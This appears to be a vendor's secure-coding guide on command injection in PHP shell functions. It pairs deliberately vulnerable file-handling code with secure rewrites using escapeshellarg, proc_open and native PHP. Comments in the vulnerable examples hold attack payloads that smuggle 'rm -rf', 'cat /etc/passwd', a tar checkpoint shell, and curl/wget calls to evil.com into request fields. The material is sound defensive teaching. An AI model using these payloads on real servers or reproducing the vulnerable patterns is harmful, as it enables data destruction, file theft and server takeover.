Command injection from HTTP request data in shell command execution in PHP

Critical Risk command-injection
phpcommand-injectionexecsystempassthrushell_execrcehttp-request

What it is

A critical security vulnerability where untrusted request data is concatenated into shell command strings executed by exec/system/passthru/shell_exec without strict validation or safe argument handling. Command injection could enable remote code execution, data theft, and full server compromise, leading to service disruption and persistent attacker access.

<?php
// VULNERABLE: File management script with command injection
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';
    $filename = $_POST['filename'] ?? '';
    $options = $_POST['options'] ?? '';
    
    if (empty($action) || empty($filename)) {
        echo json_encode(['error' => 'Action and filename required']);
        exit;
    }
    
    try {
        $result = handleFileAction($action, $filename, $options);
        echo json_encode(['success' => true, 'result' => $result]);
    } catch (Exception $e) {
        echo json_encode(['error' => $e->getMessage()]);
    }
}

function handleFileAction($action, $filename, $options) {
    switch ($action) {
        case 'backup':
            // VULNERABLE: Direct concatenation in exec()
            $command = "cp $filename /backup/";
            exec($command, $output, $code);
            return 'File backed up: ' . implode('\n', $output);
            
        case 'compress':
            // VULNERABLE: User options in system command
            $cmd = "tar $options -czf $filename.tar.gz $filename";
            system($cmd, $returnCode);
            return "Compression completed with code: $returnCode";
            
        case 'analyze':
            // VULNERABLE: Shell_exec with user input
            $result = shell_exec("file $filename && wc -l $filename");
            return $result;
            
        case 'search':
            // VULNERABLE: Multiple user inputs
            $pattern = $_POST['pattern'] ?? '';
            $output = shell_exec("grep '$pattern' $filename");
            return $output;
            
        case 'convert':
            // VULNERABLE: passthru with format string
            $format = $_POST['format'] ?? 'jpg';
            passthru("convert $filename output.$format");
            return 'Conversion completed';
            
        default:
            throw new Exception('Unknown action');
    }
}

// Attack examples:
// POST action=backup&filename=test.txt; rm -rf /var/www; curl evil.com/steal
// POST action=compress&filename=doc.txt&options=--checkpoint=1 --checkpoint-action=exec=sh
// POST action=search&filename=data.txt&pattern=test'; cat /etc/passwd; echo '
// POST action=convert&filename=img.jpg&format=png; wget evil.com/backdoor.php
<?php
// SECURE: File management with proper validation and safe execution
header('Content-Type: application/json');

class SecureFileManager {
    private const ALLOWED_ACTIONS = ['backup', 'info', 'hash', 'count'];
    private const WORK_DIR = '/secure/uploads';
    private const BACKUP_DIR = '/secure/backup';
    private const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
    
    public function handleRequest(): void {
        try {
            if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
                throw new Exception('Only POST method allowed');
            }
            
            $input = $this->validateInput();
            $result = $this->executeAction($input);
            
            echo json_encode(['success' => true, 'result' => $result]);
        } catch (Exception $e) {
            error_log('File operation error: ' . $e->getMessage());
            echo json_encode(['success' => false, 'error' => 'Operation failed']);
        }
    }
    
    private function validateInput(): array {
        $action = $_POST['action'] ?? '';
        $filename = $_POST['filename'] ?? '';
        
        // Validate action
        if (!in_array($action, self::ALLOWED_ACTIONS, true)) {
            throw new Exception('Action not allowed');
        }
        
        // Validate filename
        if (!$this->isValidFilename($filename)) {
            throw new Exception('Invalid filename');
        }
        
        return ['action' => $action, 'filename' => $filename];
    }
    
    private function isValidFilename(string $filename): bool {
        // Strict filename validation
        return preg_match('/^[a-zA-Z0-9._-]+$/', $filename) &&
               strlen($filename) > 0 &&
               strlen($filename) <= 255 &&
               !str_contains($filename, '..');
    }
    
    private function getSecureFilePath(string $filename): string {
        $fullPath = realpath(self::WORK_DIR . '/' . $filename);
        
        // Ensure file is within work directory
        if (!$fullPath || !str_starts_with($fullPath, realpath(self::WORK_DIR))) {
            throw new Exception('File not in allowed directory');
        }
        
        // Check file exists and constraints
        if (!is_file($fullPath)) {
            throw new Exception('File not found');
        }
        
        if (!is_readable($fullPath)) {
            throw new Exception('File not readable');
        }
        
        if (filesize($fullPath) > self::MAX_FILE_SIZE) {
            throw new Exception('File too large');
        }
        
        return $fullPath;
    }
    
    private function executeAction(array $input): array {
        $action = $input['action'];
        $filePath = $this->getSecureFilePath($input['filename']);
        
        switch ($action) {
            case 'backup':
                return $this->backupFile($filePath);
            case 'info':
                return $this->getFileInfo($filePath);
            case 'hash':
                return $this->calculateFileHash($filePath);
            case 'count':
                return $this->countFileLines($filePath);
            default:
                throw new Exception('Unknown action');
        }
    }
    
    // SECURE: Native PHP file operations
    private function backupFile(string $filePath): array {
        $filename = basename($filePath);
        $timestamp = date('Y-m-d_H-i-s');
        $backupName = $filename . '_' . $timestamp . '.bak';
        $backupPath = self::BACKUP_DIR . '/' . $backupName;
        
        // Ensure backup directory exists
        if (!is_dir(self::BACKUP_DIR)) {
            if (!mkdir(self::BACKUP_DIR, 0755, true)) {
                throw new Exception('Cannot create backup directory');
            }
        }
        
        // SECURE: Native PHP copy
        if (!copy($filePath, $backupPath)) {
            throw new Exception('Backup failed');
        }
        
        return [
            'message' => 'File backed up successfully',
            'backup_name' => $backupName,
            'original_size' => filesize($filePath),
            'backup_size' => filesize($backupPath)
        ];
    }
    
    private function getFileInfo(string $filePath): array {
        $stat = stat($filePath);
        $info = pathinfo($filePath);
        
        return [
            'name' => $info['basename'],
            'extension' => $info['extension'] ?? '',
            'size' => $stat['size'],
            'size_human' => $this->formatBytes($stat['size']),
            'modified' => date('Y-m-d H:i:s', $stat['mtime']),
            'permissions' => substr(sprintf('%o', fileperms($filePath)), -4),
            'mime_type' => mime_content_type($filePath) ?: 'unknown'
        ];
    }
    
    private function calculateFileHash(string $filePath): array {
        $algorithms = ['md5', 'sha1', 'sha256'];
        $hashes = [];
        
        foreach ($algorithms as $algo) {
            $hash = hash_file($algo, $filePath);
            if ($hash !== false) {
                $hashes[$algo] = $hash;
            }
        }
        
        return [
            'file' => basename($filePath),
            'hashes' => $hashes,
            'calculated_at' => date('Y-m-d H:i:s')
        ];
    }
    
    private function countFileLines(string $filePath): array {
        $handle = fopen($filePath, 'r');
        if (!$handle) {
            throw new Exception('Cannot open file for reading');
        }
        
        $lineCount = 0;
        $charCount = 0;
        $wordCount = 0;
        
        while (($line = fgets($handle)) !== false) {
            $lineCount++;
            $charCount += strlen($line);
            $wordCount += str_word_count($line);
        }
        
        fclose($handle);
        
        return [
            'file' => basename($filePath),
            'lines' => $lineCount,
            'characters' => $charCount,
            'words' => $wordCount
        ];
    }
    
    private function formatBytes(int $bytes): string {
        $units = ['B', 'KB', 'MB', 'GB'];
        $bytes = max($bytes, 0);
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);
        
        $bytes /= (1 << (10 * $pow));
        
        return round($bytes, 2) . ' ' . $units[$pow];
    }
}

// Usage
$manager = new SecureFileManager();
$manager->handleRequest();

💡 Why This Fix Works

The vulnerable code directly concatenates user input into shell commands using exec(), system(), shell_exec(), and passthru() functions, allowing command injection. The secure version eliminates shell command execution entirely, using native PHP functions with comprehensive input validation and secure file path handling.

Why it happens

Using $_GET, $_POST, or other request data directly in exec(), system(), passthru(), or shell_exec() functions without validation. These functions invoke the system shell, allowing attackers to inject additional commands using shell metacharacters.

Root causes

Direct Request Data in exec() Functions

Using $_GET, $_POST, or other request data directly in exec(), system(), passthru(), or shell_exec() functions without validation. These functions invoke the system shell, allowing attackers to inject additional commands using shell metacharacters.

Preview example – PHP
<?php
// VULNERABLE: Direct request data in exec()
if (isset($_GET['filename'])) {
    $filename = $_GET['filename'];
    
    // DANGEROUS: User input directly in shell command
    $command = "cp $filename /backup/";
    exec($command, $output, $return_code);
    
    echo "Backup completed for: $filename";
}

// Attack example:
// GET /?filename=test.txt; rm -rf /var/www; curl evil.com/steal

Unsanitized Form Data in System Commands

Processing form submissions and incorporating the data into system commands without proper sanitization or escaping. This is common in file upload handlers, data processing scripts, and administrative interfaces.

Preview example – PHP
<?php
// VULNERABLE: Form data in system commands
if ($_POST['action'] == 'process') {
    $inputFile = $_POST['input_file'];
    $outputDir = $_POST['output_dir'];
    $options = $_POST['options'];
    
    // DANGEROUS: Multiple user inputs in command
    $cmd = "convert $options $inputFile $outputDir/output.jpg";
    system($cmd);
    
    echo "File processed successfully";
}

// Attack payload:
// POST action=process&input_file=img.jpg&output_dir=/tmp&options=-resize 100x100; wget evil.com/backdoor.php

Fixes

1

Use escapeshellarg() and Avoid Shell Invocation

When shell execution is absolutely necessary, use escapeshellarg() to properly quote arguments and escapeshellcmd() for commands. However, prefer using dedicated PHP APIs or proc_open with argument arrays to avoid shell interpretation entirely.

View implementation – PHP
<?php
// SECURE: Using escapeshellarg for arguments
function processFileSafe($filename, $destination) {
    // Validate inputs first
    if (!isValidFilename($filename)) {
        throw new InvalidArgumentException('Invalid filename');
    }
    
    if (!isValidDestination($destination)) {
        throw new InvalidArgumentException('Invalid destination');
    }
    
    // SECURE: Escape arguments properly
    $safeFilename = escapeshellarg($filename);
    $safeDestination = escapeshellarg($destination);
    
    // Use fixed command with escaped arguments
    $command = "cp $safeFilename $safeDestination";
    
    exec($command, $output, $returnCode);
    
    if ($returnCode !== 0) {
        throw new RuntimeException('Command failed');
    }
    
    return $output;
}

function isValidFilename($filename) {
    // Strict validation
    return preg_match('/^[a-zA-Z0-9._-]+$/', $filename) &&
           strlen($filename) <= 255 &&
           !str_contains($filename, '..');
}

function isValidDestination($dest) {
    $allowedDirs = ['/backup', '/tmp/uploads'];
    return in_array($dest, $allowedDirs, true);
}
2

Use proc_open with Argument Arrays

Replace exec/system functions with proc_open using command arrays that bypass shell interpretation. This provides the safest approach for executing external commands with user input.

View implementation – PHP
<?php
// SECURE: Using proc_open with argument array
function executeCommandSafe($operation, $filename) {
    // Validate operation against allowlist
    $allowedOps = ['count', 'checksum', 'info'];
    if (!in_array($operation, $allowedOps, true)) {
        throw new InvalidArgumentException('Operation not allowed');
    }
    
    // Validate filename
    if (!isValidFilename($filename)) {
        throw new InvalidArgumentException('Invalid filename');
    }
    
    // Map operations to commands
    $commands = [
        'count' => ['wc', '-l', $filename],
        'checksum' => ['sha256sum', $filename],
        'info' => ['file', $filename]
    ];
    
    $command = $commands[$operation];
    
    // SECURE: proc_open with argument array (no shell)
    $descriptors = [
        0 => ['pipe', 'r'],  // stdin
        1 => ['pipe', 'w'],  // stdout
        2 => ['pipe', 'w']   // stderr
    ];
    
    $process = proc_open($command, $descriptors, $pipes, '/safe/workdir');
    
    if (!is_resource($process)) {
        throw new RuntimeException('Failed to start process');
    }
    
    // Close stdin
    fclose($pipes[0]);
    
    // Read output
    $output = stream_get_contents($pipes[1]);
    $error = stream_get_contents($pipes[2]);
    
    fclose($pipes[1]);
    fclose($pipes[2]);
    
    $returnCode = proc_close($process);
    
    if ($returnCode !== 0) {
        throw new RuntimeException("Command failed: $error");
    }
    
    return $output;
}
3

Implement Native PHP Alternatives

Replace shell commands with native PHP functions and libraries whenever possible. Use PHP's built-in file functions, string processing, and specialized libraries to avoid command execution entirely.

View implementation – PHP
<?php
// SECURE: Native PHP alternatives to shell commands
class SecureFileProcessor {
    private array $allowedOperations = ['copy', 'info', 'hash', 'lines'];
    private string $workDir = '/safe/uploads';
    private string $backupDir = '/safe/backup';
    
    public function processFile(string $operation, string $filename): array {
        // Validate inputs
        $this->validateOperation($operation);
        $filePath = $this->validateAndResolvePath($filename);
        
        // Execute operation using native PHP
        switch ($operation) {
            case 'copy':
                return $this->copyFile($filePath);
            case 'info':
                return $this->getFileInfo($filePath);
            case 'hash':
                return $this->calculateHash($filePath);
            case 'lines':
                return $this->countLines($filePath);
            default:
                throw new InvalidArgumentException('Unknown operation');
        }
    }
    
    private function copyFile(string $filePath): array {
        $filename = basename($filePath);
        $backupPath = $this->backupDir . '/' . $filename . '.' . time() . '.bak';
        
        // SECURE: Native PHP file copy
        if (!copy($filePath, $backupPath)) {
            throw new RuntimeException('Copy operation failed');
        }
        
        return [
            'success' => true,
            'message' => 'File copied successfully',
            'backup_path' => basename($backupPath)
        ];
    }
    
    private function getFileInfo(string $filePath): array {
        // SECURE: Native PHP file operations
        $stat = stat($filePath);
        $info = [
            'name' => basename($filePath),
            'size' => $stat['size'],
            'modified' => date('Y-m-d H:i:s', $stat['mtime']),
            'permissions' => substr(sprintf('%o', fileperms($filePath)), -4),
            'type' => filetype($filePath)
        ];
        
        return ['success' => true, 'info' => $info];
    }
    
    private function calculateHash(string $filePath): array {
        // SECURE: Native PHP hash calculation
        $hash = hash_file('sha256', $filePath);
        if ($hash === false) {
            throw new RuntimeException('Hash calculation failed');
        }
        
        return [
            'success' => true,
            'algorithm' => 'sha256',
            'hash' => $hash
        ];
    }
    
    private function countLines(string $filePath): array {
        // SECURE: Native PHP line counting
        $handle = fopen($filePath, 'r');
        if (!$handle) {
            throw new RuntimeException('Cannot open file');
        }
        
        $lineCount = 0;
        while (!feof($handle)) {
            if (fgets($handle) !== false) {
                $lineCount++;
            }
        }
        fclose($handle);
        
        return [
            'success' => true,
            'lines' => $lineCount
        ];
    }
    
    private function validateOperation(string $operation): void {
        if (!in_array($operation, $this->allowedOperations, true)) {
            throw new InvalidArgumentException('Operation not allowed');
        }
    }
    
    private function validateAndResolvePath(string $filename): string {
        // Filename validation
        if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
            throw new InvalidArgumentException('Invalid filename format');
        }
        
        if (strlen($filename) > 255) {
            throw new InvalidArgumentException('Filename too long');
        }
        
        // Resolve full path
        $filePath = realpath($this->workDir . '/' . $filename);
        
        // Ensure file is within work directory
        if (!$filePath || !str_starts_with($filePath, realpath($this->workDir))) {
            throw new InvalidArgumentException('File not in allowed directory');
        }
        
        // Check file exists and is readable
        if (!is_file($filePath) || !is_readable($filePath)) {
            throw new InvalidArgumentException('File not found or not readable');
        }
        
        return $filePath;
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from http request data in shell command execution in php and many other security issues in your codebase.